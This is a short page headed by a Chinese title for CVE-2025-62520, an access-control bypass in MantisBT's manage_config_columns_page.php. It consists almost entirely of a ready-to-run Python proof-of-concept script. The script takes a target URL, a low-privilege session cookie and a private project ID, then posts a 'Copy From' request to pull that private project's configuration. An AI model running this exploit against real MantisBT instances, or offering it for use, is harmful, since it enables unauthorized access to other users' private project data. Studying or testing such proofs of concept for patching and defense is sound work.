CVE-2025-62520 MantisBTmanage_config_columns_page.php访问控制绕过漏洞

# CVE-2025-62520 PoC - MantisBT Access Control Bypass # Target: manage_config_columns_page.php # Vulnerability: Insufficient access check on 'Copy From' action import requests import sys def exploit_cve_2025_62520(target_url, session_cookie, private_project_id): """ Exploit for CVE-2025-62520: MantisBT access control bypass Parameters: target_url: Base URL of MantisBT instance session_cookie: Valid session cookie for low-privilege user private_project_id: ID of private project to extract config from Returns: Configuration data from private project """ headers = { 'Cookie': f'PHPSESSID={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Step 1: Access the config columns management page config_url = f'{target_url}/manage_config_columns_page.php' # Step 2: Exploit the 'Copy From' action to retrieve private project config exploit_data = { 'copy_from': private_project_id, 'action': 'copy_columns' } response = requests.post(config_url, headers=headers, data=exploit_data) if response.status_code == 200: print(f'[+] Successfully extracted config from project ID: {private_project_id}') return response.text else: print(f'[-] Exploitation failed with status code: {response.status_code}') return None if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2025_62520.py <target_url> <session_cookie> <private_project_id>') sys.exit(1) target_url = sys.argv[1] session_cookie = sys.argv[2] private_project_id = sys.argv[3] result = exploit_cve_2025_62520(target_url, session_cookie, private_project_id) if result: print('[+] Config data retrieved successfully')